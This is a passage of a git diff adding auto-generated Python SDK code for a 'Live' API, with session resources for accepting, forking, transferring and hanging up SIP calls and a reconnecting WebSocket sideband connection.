+ self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit
+ ) -> None:
+ """
+ Provide silent reasoning or progress context to the Live model, optionally for an existing client delegation.
+ """
+ await self._connection.send(
+ cast(
+ ClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.thinking.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class AsyncLiveResponseResource(BaseAsyncLiveConnectionResource):
+ @cached_property
+ def item(self) -> AsyncLiveResponseItemResource:
+ return AsyncLiveResponseItemResource(self._connection)
+
+ async def create(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Request a response from the Live session’s Responses backend, or continue a
+ delegated response waiting for tool results.
+
+ Requires Responses delegation.
+ """
+ await self._connection.send(
+ cast(ClientEventParam, strip_not_given({"type": "response.create", "event_id": event_id}))
+ )
+
+
+class AsyncLiveResponseItemResource(BaseAsyncLiveConnectionResource):
+ async def create(self, *, item: ResponseInputItemParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Add an input item to the Live session’s Responses backend.
+
+ Requires Responses delegation; use `response.create` to request a response.
+ """
+ await self._connection.send(
+ cast(
+ ClientEventParam, strip_not_given({"type": "response.item.create", "item": item, "event_id": event_id})
+ )
+ )
diff --git a/src/openai/resources/live/sessions.py b/src/openai/resources/live/sessions.py
new file mode 100644
index 0000000000..158daa9145
--- /dev/null
+++ b/src/openai/resources/live/sessions.py
@@ -0,0 +1,686 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import httpx2
+
+from ... import _legacy_response
+from ..._types import Body, Omit, Query, Headers, NoneType, NotGiven, omit, not_given
+from ..._utils import path_template, maybe_transform, async_maybe_transform
+from ..._compat import cached_property
+from ..._resource import SyncAPIResource, AsyncAPIResource
+from ..._response import (
+ StreamedBinaryAPIResponse,
+ AsyncStreamedBinaryAPIResponse,
+ to_streamed_response_wrapper,
+ async_to_streamed_response_wrapper,
+ to_custom_streamed_response_wrapper,
+ async_to_custom_streamed_response_wrapper,
+)
+from ...types.live import (
+ session_fork_params,
+ session_refer_params,
+ session_accept_params,
+ session_reject_params,
+)
+from ..._base_client import make_request_options
+from ...types.live.session_fork_response import SessionForkResponse
+from ...types.live.media_session_fork_config_param import MediaSessionForkConfigParam
+
+__all__ = ["Sessions", "AsyncSessions"]
+
+
+class Sessions(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> SessionsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return SessionsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> SessionsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return SessionsWithStreamingResponse(self)
+
+ def accept(
+ self,
+ session_id: str,
+ *,
+ session: session_accept_params.Session,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> None:
+ """
+ Accept an incoming SIP call with Live startup configuration.
+
+ Args:
+ session: Model and startup configuration for the Live session that answers the incoming
+ SIP call.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "*/*", **(extra_headers or {})}
+ return self._post(
+ path_template("/live/sessions/{session_id}/accept", session_id=session_id),
+ body=maybe_transform({"session": session}, session_accept_params.SessionAcceptParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=NoneType,
+ )
+
+ def download_recording(
+ self,
+ session_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> _legacy_response.HttpxBinaryResponseContent:
+ """
+ Get Live session content
+
+ Args:
+ session_id: The ID of the stored Live session to download. Use the session ID returned when
+ the session started with storage enabled.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "application/binary", **(extra_headers or {})}
+ return self._get(
+ path_template("/live/sessions/{session_id}/content", session_id=session_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=_legacy_response.HttpxBinaryResponseContent,
+ )
+
+ def fork(
+ self,
+ session_id: str,
+ *,
+ transport: session_fork_params.Transport,
+ session: MediaSessionForkConfigParam | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SessionForkResponse:
+ """
+ Fork a stored Live session onto a new WebRTC connection.
+
+ Args:
+ transport: WebRTC transport with an SDP offer for the new connection to the forked session.
+
+ session: Optional configuration overrides for the new Live session. Omit this object or
+ send an empty object to inherit the stored session's settings.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ return self._post(
+ path_template("/live/sessions/{session_id}/fork", session_id=session_id),
+ body=maybe_transform(
+ {
+ "transport": transport,
+ "session": session,
+ },
+ session_fork_params.SessionForkParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=SessionForkResponse,
+ )
+
+ def hangup(
+ self,
+ session_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> None:
+ """
+ Hang up a Live session.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "*/*", **(extra_headers or {})}
+ return self._post(
+ path_template("/live/sessions/{session_id}/hangup", session_id=session_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=NoneType,
+ )
+
+ def refer(
+ self,
+ session_id: str,
+ *,
+ target_uri: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> None:
+ """
+ Transfer a Live SIP call to another destination.
+
+ Args:
+ target_uri: Nonblank URI for the SIP Refer-To header, such as tel:+14155550123 or
+ sip:agent@example.com.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "*/*", **(extra_headers or {})}
+ return self._post(
+ path_template("/live/sessions/{session_id}/refer", session_id=session_id),
+ body=maybe_transform({"target_uri": target_uri}, session_refer_params.SessionReferParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=NoneType,
+ )
+
+ def reject(
+ self,
+ session_id: str,
+ *,
+ status_code: int,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> None:
+ """
+ Reject an incoming SIP call.
+
+ Args:
+ status_code: SIP rejection status sent to the caller. This field is required.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "*/*", **(extra_headers or {})}
+ return self._post(
+ path_template("/live/sessions/{session_id}/reject", session_id=session_id),
+ body=maybe_transform({"status_code": status_code}, session_reject_params.SessionRejectParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=NoneType,
+ )
+
+
+class AsyncSessions(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncSessionsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncSessionsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncSessionsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncSessionsWithStreamingResponse(self)
+
+ async def accept(
+ self,
+ session_id: str,
+ *,
+ session: session_accept_params.Session,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> None:
+ """
+ Accept an incoming SIP call with Live startup configuration.
+
+ Args:
+ session: Model and startup configuration for the Live session that answers the incoming
+ SIP call.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "*/*", **(extra_headers or {})}
+ return await self._post(
+ path_template("/live/sessions/{session_id}/accept", session_id=session_id),
+ body=await async_maybe_transform({"session": session}, session_accept_params.SessionAcceptParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=NoneType,
+ )
+
+ async def download_recording(
+ self,
+ session_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> _legacy_response.HttpxBinaryResponseContent:
+ """
+ Get Live session content
+
+ Args:
+ session_id: The ID of the stored Live session to download. Use the session ID returned when
+ the session started with storage enabled.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "application/binary", **(extra_headers or {})}
+ return await self._get(
+ path_template("/live/sessions/{session_id}/content", session_id=session_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=_legacy_response.HttpxBinaryResponseContent,
+ )
+
+ async def fork(
+ self,
+ session_id: str,
+ *,
+ transport: session_fork_params.Transport,
+ session: MediaSessionForkConfigParam | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SessionForkResponse:
+ """
+ Fork a stored Live session onto a new WebRTC connection.
+
+ Args:
+ transport: WebRTC transport with an SDP offer for the new connection to the forked session.
+
+ session: Optional configuration overrides for the new Live session. Omit this object or
+ send an empty object to inherit the stored session's settings.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ return await self._post(
+ path_template("/live/sessions/{session_id}/fork", session_id=session_id),
+ body=await async_maybe_transform(
+ {
+ "transport": transport,
+ "session": session,
+ },
+ session_fork_params.SessionForkParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=SessionForkResponse,
+ )
+
+ async def hangup(
+ self,
+ session_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> None:
+ """
+ Hang up a Live session.
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "*/*", **(extra_headers or {})}
+ return await self._post(
+ path_template("/live/sessions/{session_id}/hangup", session_id=session_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=NoneType,
+ )
+
+ async def refer(
+ self,
+ session_id: str,
+ *,
+ target_uri: str,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> None:
+ """
+ Transfer a Live SIP call to another destination.
+
+ Args:
+ target_uri: Nonblank URI for the SIP Refer-To header, such as tel:+14155550123 or
+ sip:agent@example.com.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "*/*", **(extra_headers or {})}
+ return await self._post(
+ path_template("/live/sessions/{session_id}/refer", session_id=session_id),
+ body=await async_maybe_transform({"target_uri": target_uri}, session_refer_params.SessionReferParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=NoneType,
+ )
+
+ async def reject(
+ self,
+ session_id: str,
+ *,
+ status_code: int,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> None:
+ """
+ Reject an incoming SIP call.
+
+ Args:
+ status_code: SIP rejection status sent to the caller. This field is required.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not session_id:
+ raise ValueError(f"Expected a non-empty value for `session_id` but received {session_id!r}")
+ extra_headers = {"Accept": "*/*", **(extra_headers or {})}
+ return await self._post(
+ path_template("/live/sessions/{session_id}/reject", session_id=session_id),
+ body=await async_maybe_transform({"status_code": status_code}, session_reject_params.SessionRejectParams),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=NoneType,
+ )
+
+
+class SessionsWithRawResponse:
+ def __init__(self, sessions: Sessions) -> None:
+ self._sessions = sessions
+
+ self.accept = _legacy_response.to_raw_response_wrapper(
+ sessions.accept,
+ )
+ self.download_recording = _legacy_response.to_raw_response_wrapper(
+ sessions.download_recording,
+ )
+ self.fork = _legacy_response.to_raw_response_wrapper(
+ sessions.fork,
+ )
+ self.hangup = _legacy_response.to_raw_response_wrapper(
+ sessions.hangup,
+ )
+ self.refer = _legacy_response.to_raw_response_wrapper(
+ sessions.refer,
+ )
+ self.reject = _legacy_response.to_raw_response_wrapper(
+ sessions.reject,
+ )
+
+
+class AsyncSessionsWithRawResponse:
+ def __init__(self, sessions: AsyncSessions) -> None:
+ self._sessions = sessions
+
+ self.accept = _legacy_response.async_to_raw_response_wrapper(
+ sessions.accept,
+ )
+ self.download_recording = _legacy_response.async_to_raw_response_wrapper(
+ sessions.download_recording,
+ )
+ self.fork = _legacy_response.async_to_raw_response_wrapper(
+ sessions.fork,
+ )
+ self.hangup = _legacy_response.async_to_raw_response_wrapper(
+ sessions.hangup,
+ )
+ self.refer = _legacy_response.async_to_raw_response_wrapper(
+ sessions.refer,
+ )
+ self.reject = _legacy_response.async_to_raw_response_wrapper(
+ sessions.reject,
+ )
+
+
+class SessionsWithStreamingResponse:
+ def __init__(self, sessions: Sessions) -> None:
+ self._sessions = sessions
+
+ self.accept = to_streamed_response_wrapper(
+ sessions.accept,
+ )
+ self.download_recording = to_custom_streamed_response_wrapper(
+ sessions.download_recording,
+ StreamedBinaryAPIResponse,
+ )
+ self.fork = to_streamed_response_wrapper(
+ sessions.fork,
+ )
+ self.hangup = to_streamed_response_wrapper(
+ sessions.hangup,
+ )
+ self.refer = to_streamed_response_wrapper(
+ sessions.refer,
+ )
+ self.reject = to_streamed_response_wrapper(
+ sessions.reject,
+ )
+
+
+class AsyncSessionsWithStreamingResponse:
+ def __init__(self, sessions: AsyncSessions) -> None:
+ self._sessions = sessions
+
+ self.accept = async_to_streamed_response_wrapper(
+ sessions.accept,
+ )
+ self.download_recording = async_to_custom_streamed_response_wrapper(
+ sessions.download_recording,
+ AsyncStreamedBinaryAPIResponse,
+ )
+ self.fork = async_to_streamed_response_wrapper(
+ sessions.fork,
+ )
+ self.hangup = async_to_streamed_response_wrapper(
+ sessions.hangup,
+ )
+ self.refer = async_to_streamed_response_wrapper(
+ sessions.refer,
+ )
+ self.reject = async_to_streamed_response_wrapper(
+ sessions.reject,
+ )
diff --git a/src/openai/resources/live/sideband.py b/src/openai/resources/live/sideband.py
new file mode 100644
index 0000000000..89f282cee3
--- /dev/null
+++ b/src/openai/resources/live/sideband.py
@@ -0,0 +1,1386 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import json
+import time
+import random
+import logging
+from types import TracebackType
+from typing import TYPE_CHECKING, Any, Union, Callable, Iterator, Optional, Awaitable, cast
+from typing_extensions import AsyncIterator
+
+import httpx2
+from pydantic import BaseModel
+
+from ..._types import Omit, Query, Headers, omit
+from ..._utils import path_template, maybe_transform, strip_not_given, async_maybe_transform
+from ..._compat import cached_property
+from ..._models import construct_type_unchecked
+from ..._resource import SyncAPIResource, AsyncAPIResource
+from ..._exceptions import OpenAIError, WebSocketConnectionClosedError
+from ..._send_queue import SendQueue
+from ..._base_client import _merge_mappings
+from ..._event_handler import EventHandlerRegistry
+from ...types.live.error_event import ErrorEvent
+from ...types.websocket_reconnection import ReconnectingEvent, ReconnectingOverrides, is_recoverable_close
+from ...types.live.connect_client_event import ConnectClientEvent
+from ...types.live.connect_server_event import ConnectServerEvent
+from ...types.websocket_connection_options import WebSocketConnectionOptions
+from ...types.live.connect_client_event_param import ConnectClientEventParam
+from ...types.live.session_update_config_param import SessionUpdateConfigParam
+from ...types.responses.response_input_item_param import ResponseInputItemParam
+
+if TYPE_CHECKING:
+ from websockets.sync.client import ClientConnection as WebSocketConnection
+ from websockets.asyncio.client import ClientConnection as AsyncWebSocketConnection
+
+ from ..._client import OpenAI, AsyncOpenAI
+
+__all__ = ["Sideband", "AsyncSideband"]
+
+log: logging.Logger = logging.getLogger(__name__)
+
+
+class Sideband(SyncAPIResource):
+ def connect(
+ self,
+ *,
+ session_id: str,
+ graceful_close: bool | Omit = omit,
+ extra_query: Query = {},
+ extra_headers: Headers = {},
+ websocket_connection_options: WebSocketConnectionOptions = {},
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ max_queue_size: int = 1_048_576,
+ ) -> SidebandConnectionManager:
+ """Attach to an existing Live session.
+
+ Do not send session.start again.
+ """
+ return SidebandConnectionManager(
+ client=self._client,
+ extra_query=extra_query,
+ extra_headers=extra_headers,
+ websocket_connection_options=websocket_connection_options,
+ on_reconnecting=on_reconnecting,
+ max_retries=max_retries,
+ initial_delay=initial_delay,
+ max_delay=max_delay,
+ max_queue_size=max_queue_size,
+ session_id=session_id,
+ graceful_close=graceful_close,
+ )
+
+
+class AsyncSideband(AsyncAPIResource):
+ def connect(
+ self,
+ *,
+ session_id: str,
+ graceful_close: bool | Omit = omit,
+ extra_query: Query = {},
+ extra_headers: Headers = {},
+ websocket_connection_options: WebSocketConnectionOptions = {},
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ max_queue_size: int = 1_048_576,
+ ) -> AsyncSidebandConnectionManager:
+ """Attach to an existing Live session.
+
+ Do not send session.start again.
+ """
+ return AsyncSidebandConnectionManager(
+ client=self._client,
+ extra_query=extra_query,
+ extra_headers=extra_headers,
+ websocket_connection_options=websocket_connection_options,
+ on_reconnecting=on_reconnecting,
+ max_retries=max_retries,
+ initial_delay=initial_delay,
+ max_delay=max_delay,
+ max_queue_size=max_queue_size,
+ session_id=session_id,
+ graceful_close=graceful_close,
+ )
+
+
+class AsyncSidebandConnection:
+ """Represents a live WebSocket connection to the Sideband API"""
+
+ session: AsyncSidebandSessionResource
+ response: AsyncSidebandResponseResource
+
+ _connection: AsyncWebSocketConnection
+
+ def __init__(
+ self,
+ connection: AsyncWebSocketConnection,
+ *,
+ make_ws: Callable[[Query, Headers], Awaitable[AsyncWebSocketConnection]] | None = None,
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ extra_query: Query = {},
+ extra_headers: Headers = {},
+ send_queue: SendQueue | None = None,
+ ) -> None:
+ self._connection = connection
+ self._make_ws = make_ws
+ self._on_reconnecting = on_reconnecting
+ self._max_retries = max_retries
+ self._reconnect_attempt = 0
+ self._initial_delay = initial_delay
+ self._max_delay = max_delay
+ self._extra_query = extra_query
+ self._extra_headers = extra_headers
+ self._intentionally_closed = False
+ self._is_reconnecting = False
+ self._send_queue = send_queue or SendQueue()
+ self._event_handler_registry = EventHandlerRegistry(use_lock=False)
+
+ self.session = AsyncSidebandSessionResource(self)
+ self.response = AsyncSidebandResponseResource(self)
+
+ async def __aiter__(self) -> AsyncIterator[ConnectServerEvent]:
+ """
+ An infinite-iterator that will continue to yield events until
+ the connection is closed.
+ """
+ from websockets.exceptions import ConnectionClosedOK, ConnectionClosedError
+
+ while True:
+ try:
+ yield await self.recv()
+ except ConnectionClosedOK:
+ return
+ except ConnectionClosedError as exc:
+ if not await self._reconnect(exc):
+ unsent = self._send_queue.drain()
+ if unsent:
+ raise WebSocketConnectionClosedError(
+ "WebSocket connection closed with unsent messages",
+ unsent_messages=unsent,
+ ) from exc
+ raise
+
+ async def recv(self) -> ConnectServerEvent:
+ """
+ Receive the next message from the connection and parses it into a `ConnectServerEvent` object.
+
+ Canceling this method is safe. There's no risk of losing data.
+ """
+ event = self.parse_event(await self.recv_bytes())
+ event_type = (
+ cast("dict[str, object]", event).get("type")
+ if isinstance(cast(object, event), dict)
+ else getattr(event, "type", None)
+ )
+ # A successful upgrade can still be followed by an admission error.
+ # Reset the budget only after receiving a non-error application event.
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return event
+
+ async def recv_bytes(self) -> bytes:
+ """Receive the next message from the connection as raw bytes.
+
+ Canceling this method is safe. There's no risk of losing data.
+
+ If you want to parse the message into a `ConnectServerEvent` object like `.recv()` does,
+ then you can call `.parse_event(data)`.
+ """
+ message = await self._connection.recv(decode=False)
+ log.debug(f"Received WebSocket message: %s", message)
+ if self._reconnect_attempt:
+ # Account for raw application progress without changing frame delivery.
+ try:
+ event_data: object = json.loads(message)
+ except (ValueError, RecursionError):
+ return message
+ event_type = cast("dict[str, object]", event_data).get("type") if isinstance(event_data, dict) else None
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return message
+
+ async def send(self, event: ConnectClientEvent | ConnectClientEventParam) -> None:
+ data = (
+ event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
+ if isinstance(event, BaseModel)
+ else json.dumps(await async_maybe_transform(event, ConnectClientEventParam))
+ )
+ if self._is_reconnecting:
+ self._send_queue.enqueue(data)
+ return
+ try:
+ await self._connection.send(data)
+ except Exception:
+ self._send_queue.enqueue(data)
+ raise
+
+ async def send_raw(self, data: bytes | str) -> None:
+ if self._is_reconnecting:
+ raw = data if isinstance(data, str) else data.decode("utf-8")
+ self._send_queue.enqueue(raw)
+ return
+ await self._connection.send(data)
+
+ async def close(self, *, code: int = 1000, reason: str = "") -> None:
+ self._intentionally_closed = True
+ await self._connection.close(code=code, reason=reason)
+
+ def parse_event(self, data: str | bytes) -> ConnectServerEvent:
+ """
+ Converts a raw `str` or `bytes` message into a `ConnectServerEvent` object.
+
+ This is helpful if you're using `.recv_bytes()`.
+ """
+ return cast(
+ ConnectServerEvent, construct_type_unchecked(value=json.loads(data), type_=cast(Any, ConnectServerEvent))
+ )
+
+ async def _reconnect(self, exc: Exception) -> bool:
+ """Attempt to reconnect after a connection failure.
+
+ Returns ``True`` if a new connection was established, ``False`` if the
+ caller should re-raise the original exception.
+ """
+ import asyncio
+
+ if self._on_reconnecting is None or self._make_ws is None:
+ return False
+
+ from websockets.exceptions import ConnectionClosedError
+
+ close_code = 1006
+ if isinstance(exc, ConnectionClosedError) and exc.rcvd is not None:
+ close_code = exc.rcvd.code
+
+ if not is_recoverable_close(close_code):
+ return False
+
+ self._is_reconnecting = True
+
+ for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
+ self._reconnect_attempt = attempt
+ base_delay = min(self._initial_delay * (2 ** (attempt - 1)), self._max_delay)
+ jitter = 0.75 + random.random() * 0.25
+ delay = base_delay * jitter
+
+ event = ReconnectingEvent(
+ attempt=attempt,
+ max_attempts=self._max_retries,
+ delay=delay,
+ close_code=close_code,
+ extra_query=self._extra_query,
+ extra_headers=self._extra_headers,
+ )
+
+ try:
+ result = self._on_reconnecting(event)
+ except Exception:
+ self._is_reconnecting = False
+ return False
+
+ if result is not None and result.get("abort"):
+ self._is_reconnecting = False
+ return False
+
+ if result is not None:
+ if "extra_query" in result:
+ self._extra_query = result["extra_query"]
+ if "extra_headers" in result:
+ self._extra_headers = result["extra_headers"]
+
+ log.info(
+ "Reconnecting to WebSocket API (attempt %d/%d) after %.1fs delay",
+ attempt,
+ self._max_retries,
+ delay,
+ )
+ await asyncio.sleep(delay)
+
+ if self._intentionally_closed:
+ self._is_reconnecting = False
+ return False
+
+ try:
+ self._connection = await self._make_ws(self._extra_query, self._extra_headers)
+ log.info("Reconnected to WebSocket API")
+ self._is_reconnecting = False
+ await self._flush_send_queue()
+ return True
+ except Exception:
+ pass
+
+ self._is_reconnecting = False
+ return False
+
